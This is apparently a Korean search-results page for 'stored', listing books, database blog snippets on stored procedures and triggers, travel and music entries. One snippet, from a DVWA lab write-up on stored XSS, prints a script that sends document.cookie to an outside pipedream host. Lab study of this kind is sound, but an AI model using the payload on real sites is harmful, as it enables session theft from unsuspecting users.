검색 본문
서비스 안내 Kakao가 운영하는 책 서비스 입니다. 다른 사이트 더보기 Electronically Stored Information 저자 Matthews Da... 출간 2012.9.26. 도서 83,510원 Stored-Product Protection 저자 HighleyE 출간 도서 435,420원 Mysql Stored Procedure Programming 저자 Harrison Gu... 출간 2006.4.7. 도서 49,830원 Stored Tissue Samples 저자 Robert F Weir 출간 1998.7.1. 도서 36,210원 Stored-Product Insect Resource 저자 David W Han... 출간 2017.4.4. e북 217,660원 MySQL Stored Procedure Programming 도서 61,640원 Insects of Stored Grain 저자 Rees David 출간 2007.5.25. 도서 22,610원 Fundamentals of Stored-Product Entomology 저자 elsevier 출간 2016.7.2. e북 163,540원 Fundamentals of Stored-Product Entomology 저자 Hagstrum Da... 출간 2006.4.1. 도서 168,110원 Litigating with Electronically Stored Information 저자 Riedy Maria... 출간 2007.8.31. 도서 106,330원 더보기 (주)카카오는 상품판매의 당사자가 아닙니다.법적고지 안내 (주)카카오는 통신판매중개자로서 통신판매의 당사자가 아니며 상품의 주문 배송 및 환불 등과 관련한 의무와 책임은 각 판매자에게 있습니다.
kimyu0218.tistory.com kimyu0218 [DB/쉬운코드] stored program stored function stored function은 사용자가 정의한 함수로, 연산 후 하나의 값을 반환한다. stored function을 정의하기 위해서는 `CREATE FUNCTION`문을 사용한다. CREATE FUNCTION func_name(param1, param2) RETURN data_type [characteristics] BEGIN /* function body */ END 🚨 `func_name`은 `[db_name.]func_name` 형식을 갖는다. 데이터베이스를 지정하지 않는 경우, 현재 사용하고 있는 데이터베 stored procedure stored procedure는 사용자가 정의한 프로시저로, 구체적인 하나의 작업을 수행한다. stored function과 유사하게 `CREATE PROCEDURE`를 이용하여 정의한다. CREATE PROCEDURE proc_name ([proc_param]) BEGIN /* procedure body */ END /* proc_param : [IN | OUT | INOUT] param_name data_type */ 생성 DELIMITER $$ CREATE PROCEDURE product(IN a int, IN b i stored procedure의 장단점 stored program은 데이터베이스에 저장되기 때문에 네트워크 트래픽이 감소하여 응답 속도가 향상된다는 장점이 있다. 그렇다면 실무에서 stored procedure를 사용하는 것이 좋을까? 🤔 비즈니스 로직을 어플리케이션 레벨에 두면서 응답 속도를 향상시킬 방법은 없을까? 쿼리를 동시에 실행할 수 있는 경우, 동시에 요청을 보낸다. 캐시를 사용하여 데이터베이스에 접근하는 시간을 줄인다. stored procedure는 어플리케이션에 transparent하다는 장점이 있다. 데이터베이스에 서버가 4대 연결된 상황을 가정해보자 trigger trigger는 데이터베이스에 특정 이벤트가 발생했을 때 자동적으로 실행되는 procedure를 의미한다. `CREATE TRIGGER`를 이용하여 정의할 수 있다. CREATE TRIGGER trigger_name trigger_time trigger_event ON table_name FOR EACH ROW [trigger_order] BEGIN /* trigger body */ END /* trigger_time : BEFORE | AFTER trigger_event : INSERT | UPDATE | DELETE 7 stored program은 데이터베이스에 저장되기 때문에 네트워크 트래픽이 감소하여 응답 속도가 향상된다는 장점이 있다. 그렇다면 실무에서 stored procedure를 사용하는 것이 좋을까? 🤔 비즈니스 로직을 어플리케이션 레벨에 두면서 응답 속도를 향상시킬 방법은 없을까? 쿼리를 동시에 실행할 수 있는 경우, 동시에 요청을 보낸다. 캐시를 사용하여 데이터베이스에 접근하는 시간을 줄인다. stored procedure는 어플리케이션에 transparent하다는 장점이 있다. 데이터베이스에 서버가 4대 연결된 상황을 가정해보자 데이터베이스 스토어드 프로그램 2024.05.02 블로그 검색 더보기 codegear-archive.tistory.com 📓 Codegear_Archive [DVWA] XSS (Stored) Security Level: Low < ' " > 확인하기 먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다. 위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다. Low 레벨의 경우 제대로된 조치가 취해지지 않아, 위와 같이 입력한 < ' " >가 그대로 출력되고 있는 것을 확인할 수 있다. 해당 코드를 살펴보면 다음과 같다. // Sanitize message input stripslashes( $message ); .위와 같이 stripslashes가 적용되어 있는데 이것은 역슬래시(\)를 제거하는 함 Security Level: Medium < ' " > 확인하기 먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다. 위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다. Medium 레벨의 경우 Name에서는 < ' " >가 그대로 출력되지만 Message에서는 지워져있는 것을 확인할 수 있다. 해당 코드를 살펴보면 다음과 같다. // Sanitize message input $message = strip_tags( addslashes( $message ) );// Sanitize name input $name Security Level: High < ' " > 확인하기 먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다. 위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다. High 레벨의 경우 Name에서는 < ' " >가 그대로 출력되지만 Message에서는 지워져있는 것을 확인할 수 있다. 해당 코드를 살펴보면 다음과 같다. // Sanitize message input $message = strip_tags( addslashes( $message ) );// Sanitize name input $name = Security Level: Impossible < ' " > 확인하기 먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다. 위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다. Impossible 레벨의 경우 Name과 Message 모두 HTML Entity로 변환되는 것을 확인할 수 있다. 해당 코드를 살펴보면 다음과 같다. // Sanitize message input $message = stripslashes( $message ); $message = htmlspecialchars( $message );// Sa addslashes addslashes는 PHP에서 역슬래시(\)를 추가하는 함수이다. (특정 문자열 single quote ('), double quote ("), backslash (\), NUL (the NUL byte)등을 (\ '), (\ "), (\ \) , (\ )로 교체한다.) addslashes(string $string): string stripslashes stripslashes는 PHP에서 역슬래시(\)를 제거하는 함수이다. (인용된 문자열을 인용 해제한다.) stripslashes ( string $string ) : string 이스케이프(escape)가 필요한 장소 (예 : 데이터베이스)에 데이터를 삽입하지 않는 경우, stripslashes()를 사용할 수 있다. ex) HTML 양식에서 직접 데이터를 출력하는 경우 역슬래시(\)가 제거 된 문자열을 반환한다. ('\'는 '가 된다.) 이중 역슬래시 (\\\\)는 단일 역슬래시 (\\)로 바뀐다. stripslashes()는 strip_tags strip_tags는 문자열에서 HTML 태그와 PHP 태그를 제거하는 함수이다. strip_tags ( string $str [, string $allowable_tags ] ) allowable_tags로 제거하지 않을 태그를 정할 수 있다. (예외 처리) htmlspecialchars 특수 문자를 HTML Entity로 변환한다. 공격 시나리오 위의 취약점을 이용한 공격 시나리오를 테스트 해볼 것이다. (Low 레벨에서 진행하였다.) 공격자의 주소는 RequestBin을 이용할 것이다. 공격자의 주소로 쿠키 값을 보내도록하는 script는 다음과 같다. <script> var cookieData = document.cookie; var i = new Image(); i.src = "https://en1ea7nmmqf85.x.pipedream.net/?cookie="+cookieData; </script> 위와 같 49 < ' " > 확인하기 먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다. 위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다. Low 레벨의 경우 제대로된 조치가 취해지지 않아, 위와 같이 입력한 < ' " >가 그대로 출력되고 있는 것을 확인할 수 있다. 해당 코드를 살펴보면 다음과 같다. // Sanitize message input stripslashes( $message ); .위와 같이 stripslashes가 적용되어 있는데 이것은 역슬래시(\)를 제거하는 함 script XSS dvwa stored html entity 2024.04.17 [기록일지] 📚 09주차 (XSS - Stored/Reflected) keima.tistory.com 전산직으로 살아남기 MSSQL - Stored Procedure 4 1. Stored Procedure란? 저장 프로시저는 쿼리문들의 집합으로 여러 쿼리를 거쳐서 일괄적으로 처리할 때 사용합니다. 저장 프로시저는 보통 SP라고 축약하여 말하며 실제 DB 연동시에는 단순 쿼리문보다는 SP를 사용하여 데이터를 질의합니다. 2. 주요 특징 데이터를 호출하려면 그냥 SQL문으로 호출하면 되는데 왜 SP... db MSSQL Stored Procedure 2024.05.16 pakms980319.tistory.com 개발 일기 0. STORED PROCEDURE 25 STORED PROCEDURE(저장 프로시저) DB 내부에 저장된 일련의 SQL 명령문들을 하나의 함수처럼 실행하기 위한 쿼리의 집합이다. 즉, DB에 대한 작업을 정리한 절차를 RDBMS에 저장한 쿼리의 집합이다. SQL Server에서 제공되는 프로그래밍 기능이다 어떠한 동작을 일괄 처리하기 위한 용도로 사용한다 자주 사용되는 일반... mysql procedure DBMS Stored Procedure 2024.02.07 aurumguide.tistory.com 아우럼가이드 Stored Procedure 실행 및 만들기 Stored Procedure는 데이터베이스에 컴파일되어 Database 서버에 저장되는 SQL 문입니다. Stored Procedure 설명 Stored Procedure 대부분의 Database에서 지원되는 기능으로 Query 집합체하고 생각하면 됩니다. Stored Procedure는 Database 서버에 저장되어 재사용할 수 있습니다. 즉, 반복적인 SQL을 사용해야 할 때... 프로시저 내용검색 stored procedure 정의 stored procedure 장단점 stored procedure 실행 stored procedure 검색 stored procedure 만들기 프로시저 조회 저장 프로시저 수정 저장 프로시저 삭제 저장 프로시저 생성 2024.05.12 MSSQL stored procedure Return 사용법 및 특징 sshkim1013.tistory.com 화니의 개발바닥 [DB기초] stored function 18 stored function 기본 개념 이러한 stored function 제작에 대한 예제를 하나 살펴보자. 예제의 내용은 다음과 같다. [ 예제 1 ] 임직원의 ID를 열자리 정수로 랜덤하게 발급하고 싶다. ID의 맨 앞자리는 1로 고정이다. 위의 조건을 만족하는 function은 다음과 같다. delimiter $$ 먼저 delimiter라는 것은 우리가 이전... 2024.02.01 [DB기초] stored procedure [DB기초] stored procedure를 실무에서 쓰기 아쉬운 이유 통합웹 더보기
서비스 안내 스토리의 글을 대상으로 검색결과를 제공합니다. 자세히보기 케이케이데이 KKday 여행 분야 크리에이터 대만의 티머니, 이지카드를 아시나요? 10 금액 중 수수료 20TWD를 제외하고 남은 금액을 환불받을 수 있다. 카드 구매 비용은 환불되지 않는다. 지하철역 인포메이션과 타오위안 공항(Electronic Stored Value Card Service)에서 환불받을 수 있다. 수수료를 제외하고 환불되므로, 잔여 금액을 편의점 등에서 소진하는 것을 추천한다. 대중교통 등에서 사용하는... 이지카드 대만여행 해외여행 2024.03.04 브런치스토리 검색 더보기 story.kakao.com 신호창 신호창 - 카카오스토리 figs from thornbushes, or grapes from briers. 45 A good man brings good things out of the good stored up in his heart, and an evil man brings evil things out of the evil stored up in his heart. For... 2024.05.30 카카오스토리 검색 더보기 여행 크리에이터 보기
CO2 Stored Homepage www.co2stored.co.uk/home/index 웹수집 CO2 Stored Homepage RTI Stored rtistored.com/ 웹수집 Stored Story htkim-stored.tistory.com/ 티스토리 IT 생활의 축적된 Know-how 를 맘껏 활용하세요 사이트 더보기
서비스 안내 Melon Company가 운영하는 음악 서비스입니다. 다른 사이트 더보기 Stored (Original mix) Korekt 앨범 Stored EP 2009.02.09. Stored Giant Gutter From Outer Space 앨범 Charred Mem... 2018.02.01. stored (Feat. Todd Sines & Charles Noel) Interval 앨범 transmit (F... 2017.06.05. Stored (Original Mix) Freqmind 앨범 Night Owlz EP 2024.05.19. Stored Memories And Moninica's Theme Various Artists 앨범 에이아이 OST 2001.08. All Those Stored Errors Red Mecca 앨범 All Those S... 2021.04.21. All Those Stored Errors Red Mecca 앨범 Away 2021.05.11. Stored Fire The SHREDD! Percussion Ensemble 앨범 This Is You... 2003.01.01. Safetly Stored Away Colonel Roger 앨범 Colonel Roger 2017.10.06. Stored Away The David James Band 앨범 Street Perf... 2010.12.25. stored thoughts lomo-torra 앨범 bitter days 2024.03.15. Observing What Is Stored in the Subconscious Instead of a Kill 앨범 Skinwalker 2013.08.22. Memories Lost in Time &stored Love Bazza 앨범 bazza goes ... 2006.01.01. Stored In A Shell Margaret Slovak 앨범 Undying Hope 1998.01.01. STORED HAPPINESS Lucretius 앨범 WARM TEARS 2021.02.26. Mentally Stored Data Rasheed 앨범 Mentally St... 2024.02.02. Memory Stored (Original Mix) Jacob 앨범 Memory Stor... 2013.10.31. Come Down Exit Eleven 앨범 Bottled and... 2005.01.01. Memory Stored (Original Mix) Jacob 앨범 Memory Stor... 2013.10.17. Stored In The Cold Thiem 앨범 2020 1a 2020.11.26. 더보기